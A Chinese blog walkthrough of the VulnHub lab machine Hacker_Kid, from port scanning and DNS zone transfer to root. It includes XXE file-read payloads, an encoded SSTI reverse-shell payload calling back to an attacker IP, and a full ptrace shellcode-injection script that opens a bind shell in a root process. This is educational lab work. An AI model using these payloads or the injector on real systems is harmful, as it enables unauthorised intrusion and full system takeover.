打靶记录7——Hacker_Kid-v1.0.1

最新推荐文章于 2024-09-14 14:58:05 发布
最新推荐文章于 2024-09-14 14:58:05 发布
阅读量718 收藏 10
点赞数 13
分类专栏： 打靶 文章标签： 服务器 网络 运维 网络安全 web安全 http
版权声明：本文为博主原创文章，遵循 CC 4.0 BY 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_64422989/article/details/140936730
版权

靶机下载地址

https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova

难度

  • OSCP 风格的中级难度靶机（只需要获取root权限即可，CTF 风格的靶机就还需要获取flag）

涉及的攻击方法：

  • 主机发现
  • 端口扫描
  • Web信息收集
  • DNS区域传输
  • XXE注入攻击
  • SSTI模版注入
  • Capabilitie提权

学习记录：

  • 计算机漏洞，一切漏洞的本质原因，就是用户可以想服务器端提交一些不该提交的内容，一旦提交了这些内容，而服务器端又接受了这样的内容，结果就可能导致服务器端的程序代码按照不是原定的逻辑顺序去执行，就会产生一些异常的执行结果，结果往往就是系统被攻击，然后被别人完全控制。

主机扫描

nmap -sn 192.168.0.0/24
image.png

端口扫描和服务发现

扫不到就多试几次就可以了

nmap -p- 192.168.0.104

image.png

nmap -p53,80,9999 192.168.0.104

image.png
由于namp默认只扫描TCP端口，所以这里我们发现了目标服务器上开了TCP的53端口，我们就有理由去猜测一下，目标服务器的UDP53端口也是开放的，它可能也会接受我来自客户端的域名查询这样的请求

 nmap -p53 -sU 192.168.31.32    # 由于我网络环境的变化，故IP变成了192.168.31.32

image.png
不出所料是开着的，那就意味着这是一台DNS服务器
搜索DNS的BIND 9.16.1 版本漏洞，发现两个CVE，但是由于没有POC，我们把目光转向80端口和9999端口
在80端口发现一段黑客小孩写的话，还有上面的三个链接，但是没什么用
image.png
image.png
image.png
Ctrl + U 查看首页的源代码，在注释里面发现了一个参数page_no
image.png
既然是no（“No.”相当于“Number"），我们就给参数赋值数字，然后我们接着就用BurpSuite爆破数字
image.png
image.png
爆破到21的时候，页面有了不同的回显
image.png
image.png
通过DNS，他创建了一些域名，而通过访问这些域名，他就能够访问到一些不一样的Web页面。
因为我们知道在一台服务器上放置多个Web应用是有几种常用的方法的：

  1. 在服务器上绑定多个IP，每个不同的网站使用不同的IP地址，然后访问者可以访问不同的IP访问到我不同的网站，不同的Web应用程序；
  2. 我这台服务器只有一个IP，那我就通过不同的端口来开放不同的Web应用；
  3. 我这台服务器只有一个IP，而且只开放一个端口，使用不同的域名访问服务器端的时候，会得到的页面是完全不同的。

那我们在页面提示里发现一个域名hackers.blackhat.local，那我们为了能够访问到这个域名能解析到这个IP地址，接下来我们需要编辑本机的/etc/hosts文件，将这个域名和这个IP地址绑定，以便下次我去访问这个域名的时候就能访问到这台主机，而当我访问这个域名的时候，我希望看到一个不一样的页面，也就是后门页面

vim /etc/hosts

image.png
加上192.168.31.32 blackhat.local是因为很多的Web服务端程序，它都会对域名本身也创建一套A记录，当我们直接去访问这个域名，不加www
也能看见应用程序。
访问域名发现页面没有变化
image.png
那再这个DNS区域当中可能还隐藏着其他的记录，可能是A记录，可能是CNAME记录，而且根据页面提示，要DIG它。
那我们利用dig命令，针对这个域名，这个区域来做一个axfr(就是一个区域传输，标准的DNS技术术语，就是我可以针对向一个DNS服务器发一个axfr的请求，如果服务器端支持arfr这个区域传输的请求的话，它就会把它这台服务器里面我指定DNS区域的所有的DNS记录都一次性返回给我)
dig axfr @192.168.31.32 blackhat.local
image.png
拿到这些新的域名就添加到我们的/etc/hosts文件里面
image.png
访问80端口的hackerkid.blackhat.local发现一个新页面
image.png
访问9999端口192.168.31.32:9999，其他几个域名发现的都是登录页面，爆破不出来，因为密码很复杂
image.png

XXE漏洞

漏洞详解：XXE是什么？XXE漏洞原理及案例讲解（从0到1完全掌握XXE）-CSDN博客

  • XXE（XML外部实体注入）是一种针对应用程序处理XML数据的方式的攻击。在这种攻击中，攻击者利用应用程序对XML输入的处理不当，引入或“注入”恶意内容。这可能导致未授权的数据访问、服务拒绝攻击甚至执行远程代码。

在hackerkid.blackhat.local页面抓包，发现是一个XML的表单，那么可能存在XXE漏洞
image.png
在XML文档当中，增加对其他外部资源的应用，并且让Web应用程序把我引用的资源给我完整的返回回来，

<?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>
  <root>
    <name>
      1
    </name>
    <tel>
      1
    </tel>
    <email>
      &xxe;
    </email>
    <password>
      1
    </password>
  </root>
  • <!DOCTYPE foo [<!ENTITY xxe SYSTEM 'file:///etc/passwd'>]>引入一个外部对象，起名叫xxe
  • 变量名后面加上了SYSTEM的话就代表是一个外部资源的引用
  • 意思是把file:///etc/passwd这个外部的文本文件的内容赋值给xxe这个变量
  • 然后在<email></email>里面填入这个变量&xxe;

image.png
成功读取到了文件，发现了另外一个账号saket
image.png
去它的主目录里把文件都读取一下，查看一下.bashrc配置文件
image.png
直接读取不显示，那我们就用封装器来进行，使用php的封装器，因为Web应用程序是用php语言来写的

<?xml version="1.0" encoding="UTF-8"?>
  <!DOCTYPE foo [<!ENTITY xxe SYSTEM 'php://filter/convert.base64-encode/resource=/home/saket/.bashrc'>]>
  <root>
    <name>
      1
    </name>
    <tel>
      1
    </tel>
    <email>
      &xxe;
    </email>
    <password>
      1
    </password>
  </root>

image.png
解码Base64获得账号和密码
image.png

username="admin"
password="Saket!#$%@!!"

尝试登录9000端口，但是admin账号用这个密码不行，saket就可以
image.png
根据页面提示，可能存在一个参数name，传参发现，传什么就输入什么
image.png

SSTI模板注入

  • 漏洞成因就是服务端接收了用户的恶意输入以后，未经任何处理就将其作为 Web 应用模板内容的一部分，模板引擎在进行目标编译渲染的过程中，执行了用户插入的可以破坏模板的语句，因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。

通杀payload:{{1+abcxyz}}${1+abcxyz}<%1+abcxyz%>[abcxyz]包含了python、Java等语言
image.png
出现报错就说明这个目标服务器使用了模版，而且我们通过注入的触发了漏洞
再试试${7*7},{{7*7}}也成功，说明数学表达式被运行了
image.png

反弹shell

{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.31.23/4444 0>&1"')}}

直接输入不成功，我们需要通过编码来绕过服务器端过滤的机制，我用URL编码

%7B%25%20import%20os%20%25%7D%7B%7Bos.system('bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.31.23%2F4444%200%3E%261%22')%7D%7D

image.png

提权（Capabilitie）

  • Capabilitie是一个Linux内核的功能，是做权限管理用的

Linux提权之：利用capabilities提权 - f_carey - 博客园 (cnblogs.com)
getcap -r / 2>/dev/null查询哪些文件具有Capabilitie权限

  • -r 递归的查询
  • 2>/dev/null 把报错丢掉

image.png
提示getcap没有加入到环境里面
/sbin/getcap -r / 2>/dev/null指定完整的路径再次查询
image.png
发现了python2设置了ptrace，ptrace是具有操作系统动态调试跟踪的能力的
ps -aef | grep root查一下在这台靶机上以root权限运行的所有的进程，选择一个apache吧，进程ID是705
image.png
接下来我们需要下载一个利用这个权限漏洞的现成的Python脚本

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 

import ctypes
import sys
import struct

# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html

PTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17

# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct

class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))

print("Instruction Pointer: " + hex(registers.rip))

print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):

  # Convert the byte to little endian.
  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
  shellcode_byte=int(shellcode_byte_little_endian,16)

  # Inject the byte.
  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))

print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

Kali开启HTTP服务
image.png
靶机从Kali上下载下来POC
image.png
使用python2.7的sys_ptrace权限，然后调用inject.py进程注入脚本注入到刚才已经发现的以root权限运行的进程的ID
image.png
inject.py把自己的后门进程注入到root的apache进程里面之后，它会在本机开启一个侦听端口5600
ss -pantu | grep 5600看一下是否开启了5600端口，如果开启了的话，说明我们的注入成功了，这个后门的进程注入已经被启动了
image.png
nc 192.168.31.32 5600，既然开启了那我们就直接连接
image.png
成功获取root权限！！

总结：

  1. 针对这台靶机首先进行了主机发现和端口扫描
  2. 针对DNS服务进行上网搜索，发现两个CVE，但是没有POC
  3. 于是通过Web入手，在源代码发现提示信息，找到一个参数，利用这个参数发现了页面里隐藏的关于域名的信息
  4. 拿到这个域名之后，使用dig命令针对这个DNS区域进行区域传输，最后拿到整个域名下所有的主机记录（A记录，CNAME记录全都拿到）
  5. 在本机对/etc/hosts文件进行修改，将这些域名绑定到目标靶机的IP地址上，通过这种方法发现了一个新的页面
  6. 在这个新的页面当中，首先发现了XXE漏洞，并且成功利用其中的email字段，将目标服务器上的/etc/passwd文件给读取出来，进而再次利用XXE漏洞将目标服务器上的账号saket的主目录下的文件都读取了一遍，在.bashrc配置文件里面发现了一个用户名账号和密码
  7. 用这个账号和密码去登录开放了9999端口的页面，但是登录失败，但是用saket就能登录成功了
  8. 在后台又根据靶机作者给我们的提示，猜测当前页面可能存在一个叫做name的变量名，发现这个name的赋值存在一个模版注入的漏洞
  9. 利用这个模板注入漏洞注入了一行python反弹shell的指令，拿到了一个反弹shell
  10. Capabilitie提权，通过查询，发现目标系统上有python2.7，利用python2.7它被赋予的cap_sys_ptrace可以调试挂接到系统已经存在的进程的特殊权限
  11. 利用这个权限上网去下载一个针对这种类型漏洞利用的inject.py，利用这个inject.py将自己注入到一个以root账号启动的系统进程里面，也就是apache的那个进程
  12. 然后在这个进程中注入我们的代码，打开5600端口，最后通过Kali直接连接靶机的5600端口，最终获得了root权限， 取得了目标系统的完全控制权。
Fab1an要努力~
关注
专栏目录
leetcode和oj-Leet_Code-Hacker_Rank:Leet_Code-Hacker_Rank
06-30
《LeetCode与Hacker Rank：在线编程挑战的宝库》 LeetCode和Hacker Rank是两个备受程序员喜爱的在线编程挑战平台，它们为提升技能、准备面试和了解最新技术趋势提供了丰富的资源。这两个平台不仅有助于巩固基础，还...
hacker_rank-java
03-30
标题 "hacker_rank-java" 暗示了这个压缩包可能包含了与 Hacker Rank 平台上的 Java 相关的编程挑战或练习项目。Hacker Rank 是一个著名的在线平台，程序员可以在这里通过解决各种编程问题来提升技能并进行面试准备...
vulnhub靶场-Hacker_Kid-v1.0.1
qq_42947816的博客
06-27 1647
Vulnhub旨在提供环境，让任何人都能在数字安全、计算机软件和网络管理方面获得实际的“实践”经验。
Hacker_kid-v1.0.1(vulnhub)
wcl20010的博客
05-07 1636
中等难度的靶机，取得权限即可（提示：信息收集，不需要爆破） 此靶机存在的都是新兴的漏洞类型。 地址如下： https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova 1.主机发现 arp-scan -l 2.端口发现 nmap -p 1-65535 -A 192.168.56.106 详细信息如下: 53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux) | dns-nsid:
VnlnHub Hacker_Kid-v1.0.1
weixin_45682839的博客
09-09 303
VnlnHub Hacker_Kid-v1.0.1靶机通关攻略记录，涉及知识包括：端口服务探测、WEB信息搜集、url参数值爆破、DNS区域传输、XXE注入攻击、PHP封装器、SSTI模板注入、Capabilitie提权
Hacker_Kid-v1.0.1靶机
weixin_45691672的博客
06-16 1035
实验主机：Hacker_Kid-v1.0.1靶机一台/Kali linux攻击机一台Hacker_Kid-v1.0.1靶机 IP：192.168.3.225Kali linux攻击机 IP：192.168.3.32实验网络：桥接模式实验目标：获取靶机的Root权限。
vulnhub之Hacker_Kid-v1.0.1
qwweggfe的博客
08-23 895
kali：192.168.181.129 靶机：192.168.181.154 首先进行ip扫描
vulnhub靶场——Hacker-Kid-v1-0-1
Czheisenberg的博客
03-03 7011
vulnhub靶场——Hacker-Kid-v1-0-1 WP
Vulnhub靶机：Hacker_Kid
qq_48904485的博客
02-25 958
运行环境：Virtualbox攻击机：kali（10.0.2.15）靶机：Hacker_Kid（10.0.2.42）目标：获取靶机root权限和flag靶机下载地址：https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova。
Hacker kid靶场渗透
m0_59518755的博客
07-26 857
Hacker kid靶场渗透教程，特别详细，新手小白都能看懂
Hacker_kid靶机打靶过程及思路
qq_52610024的博客
04-25 1689
下载利用权限利用的python进程注入脚本wgethttps//gist.githubusercontent.com/wifisecguy/1d69839fe55c36a1dbecca66948ad56/raw/e919439010bbabed769d86303ff18ffbacdaecfd/inject.py。7.挨个读取后，在读取/home/saket/.bashrc时没有回显，使用php封装器读取，然后进行解码。，发现得到用户名和密码，在登录处登录失效，尝试使用saket作为用户名登录。...
【HACKER KID: 1.0.1靶机】
qq_40646572的博客
05-23 1801
信息搜集 开启靶机。 使用nmap扫描，发现存活靶机，192.168.85.145，靶机开放端口为53，80，9999。 进一步搜集下对应段开启的服务。 发现，9999端口开启的是tornado服务。 先打开web网站，看下。 好像再提示挖掘？还是使用dig工具？先放下，继续搜集信息。 #app.html页面源码，发现存在提示，给了一个参数。这个参数应该是页面数，先尝试下。 发现page_no=21时，返回数据不同。 提示我们这个网站还绑定了一个域名，先添加到/etc/hosts文本中。
AlgorithmsX-v1.0.1:LeetCode HackerRank算法
05-09
《算法X-v1.0.1：LeetCode与HackerRank中的算法解析》 在编程领域，算法是解决问题的关键，而LeetCode和HackerRank则是检验和提升算法能力的重要平台。"AlgorithmsX-v1.0.1"是一个专注于算法实践的项目，它将Java...
HackerRank_2019-2018_Developer-Skills-Report.pdf
06-23
这份标题为"HackerRank_2019-2018_Developer-Skills-Report.pdf"的报告，即HackerRank发布的2019-2018开发者技能报告，详细地探讨了开发者社区中的技术趋势和技能发展情况。根据描述，报告提出了React、物联网(IOT)...
ResourceHacker_v5.1.8_Stable_Chs_th-sjy.exe
10-23
是一款免费的编译器，用于查看，修改，添加，重命名和删除 Windows 可执行文件和资源文件中的资源。Resource Hacker内置了一个内部资源编译器和反编译器
基于高通主板的ARM架构服务器
D404234的博客
09-11 1367
但高通在服务器市场面临激烈竞争，联发科在手机芯片市场挑战高通，苹果加快自研芯片使用步伐给高通压力，服务器市场英特尔占主导，高通要成功需克服诸多困难。高通在服务器芯片领域面临挑战，有收购与专利问题，博通收购后高通削减“非核心业务”支出，Intel 市占率高且 Arm 生态和软件不完善，高通在 Arm 服务器芯片市场进展不大，2018 年高通服务器芯片部门裁员约 280 名，占部门总人数一半左右，业务前景充满不确定性。易获取部署，众多供应商，90%主流软件适配，兼容性强，常见系统和程序可顺畅运行。
Windows电脑A远程连接电脑B
weixin_44750594的博客
09-11 254
3. 打开电脑A，如果默认没有搜索图标出来，可以利用Windows+X调用出搜索命令，之后输入“远程桌面连接”，打开远程桌面把B电脑的IP输入。ip看以无线局域网适配器 WLAN里面的本地链接IPV6地址：X.X.X.X（这是那个地址的格式就是，例如为10.222.1.2）4. 如果电脑B有密码和名字，把电脑的名字和电脑密码输入给A，这样就可以连接。
怎么选择适合的服务器
最新发布
2403_86998484的博客
09-14 432
大家都知道，不管是公司还是个人，在数字化浪潮已经席卷全球的环境下，大家对服务器的需求是日渐增长的。很多人在买服务器的时候，多少都有点选择困难，今天我们就来对比下物理服务器和弹性云服务器，看看选哪个更省心。业务规模：如果你的业务还在起步阶段，或者只是想自己倒腾点东西，比如建steam游戏的服务器、建个人博客、论坛等，那么云服务器应该更适合你。想象一下，物理服务器就像你家的老式冰箱，虽然样子有点过时，但性能稳定，用起来心里踏实。而弹性云服务器，就像是你的智能手机，随时随地，想怎么用就怎么用。
828华为云征文 | 华为云X实例服务器上部署知识图谱项目的详细指南
cooldream2009的博客
09-11 1414
知识图谱作为数据整合、语义分析和人工智能的重要基础，逐渐被广泛应用于各类领域。其通过结构化数据和关系映射，帮助用户更好地理解数据背后的意义。本文将详细介绍如何在华为云X实例服务器上部署一个完整的知识图谱项目，涵盖开发环境JDK、Tomcat应用服务器、Virtuoso图数据库以及MySQL关系型数据库的安装与配置。结合实例的硬件配置，我们将讨论其性能表现，帮助读者理解如何高效利用云服务器资源。
resource hacker v5.1.8 build 360
04-30
Resource Hacker是一个免费的开源工具，其功能是对Windows操作系统下可执行文件（.exe、.dll等）中的资源（如图标、位图、对话框等）进行修改和编辑。 Resource Hacker v5.1.8 Build 360是最新版本，它包含了一些重要的新功能和改进，例如在Windows 10环境下的完整兼容性、添加了一个“字符串表排序”功能，这使得编辑字符串表更为方便，同时还改进了其它一些编辑工具窗口的外观和功能。 使用Resource Hacker还可以进行一些常见的文件操作，比如打开文件，查看文件的基本信息，导出和导入指定的资源等等。Resource Hacker的界面简洁、易于使用，用户可以快速找到需要修改的资源，并进行编辑。总之，Resource Hacker是一款十分实用的资源编辑工具，尤其适合开发人员和爱好者使用。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Fab1an要努力~

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付：¥1
获取中
扫码支付

您的余额不足，请更换扫码支付或充值

打赏作者

实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值